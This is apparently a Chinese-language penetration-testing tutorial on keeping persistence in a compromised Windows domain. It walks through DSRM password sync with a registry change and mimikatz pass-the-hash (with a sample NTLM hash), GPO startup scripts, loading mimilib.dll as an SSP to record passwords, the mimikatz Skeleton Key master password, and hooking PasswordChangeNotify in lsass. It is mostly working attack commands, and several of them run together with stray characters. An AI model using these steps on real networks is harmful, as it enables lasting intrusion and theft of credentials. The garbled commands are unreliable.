Mtaun

Windows内网渗透_6.域维权

6.1、DSRM

该方法相当于重置了域控机器上的本地管理员密码。

DSRM,目录服务还原模式,是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。DSRM账户实际上就是“Administrator”,也就是域控上面的本地管理员账号,非域管理员账号。当建立域控时,会让我们设置DSRM密码:

图片

我们用如下命令在域控上同步DSRM密码:

ntdsutilset DSRM passwordSYNC FROM DOMAIN ACCOUNT username

Q

Q

图片

即把DSRM重置成了和win7user用户一样的密码:

图片

再在域控上添加注册表:

reg add “ HKLM\System\CurrentControlSet\Control\Lsa” /v DSRMAdminLogonBehavior /t REG_DWORD /d 2

最后用pth连接过去:

sekurlsa::pth /domain:computername /user:Administrator /ntlm: b367819c0a8ccd792cad1d034f56a1fa

图片

6.2、GPO

当我们获取到管理员权限时,可以通过添加组策略手段,实现用户开机自启动。

域控上执行过程如下:

打开gpmc.msc ,编辑默认组策略:

图片

然后添加启动项:

图片

并在对应的组策略目录下添加你的文件:

图片

再执行如下命令强制刷新组策略:

gpupdate /force

最终域内其他机器重启后就会执行对应的文件/脚本:

图片

图片

6.3、SSP

SecuritySupport Provider理解为一个dll,用来实现身份认证;SecuritySupport Provider Interface理解为SSP的API,用于执行各种与安全相关的操作,如身份验证。

在系统启动的时候,SSP会被加载到lsass.exe中,也就是说我们可以自定义一个dll在系统启动时加载到lsass.exe中。

利用mimikatz:

1、将mimilib.dll复制到域控c:\windows\system32

2、添加注册表: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\SecurityPackages\

添加mimilib.dll

3、重启后记录登录的密码:

图片

也可以不重启,利用RPC加载SSP。

6.4、Skeleton Key

利用mimikatz安装一个万能密码,“mimikatz”,实现代码可以参考如下:

https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c

privilege::debugmisc::skeleton

当执行完上述命令后,就可以使用“mimikatz”作为一个万能密码,去连接域控,该方法可用于当域控密码被改掉时,我们依然可以去控制域控。

图片

6.5、HookPasswordChangeNotify

通过往lsass.exe进程中注入dll,达到通过Hook PasswordChangeNotify拦截修改的帐户密码。该方法可用于拦截域内修改的密码。

项目地址:https://github.com/Jumbo-WJB/Misc-Windows-Hacking

图片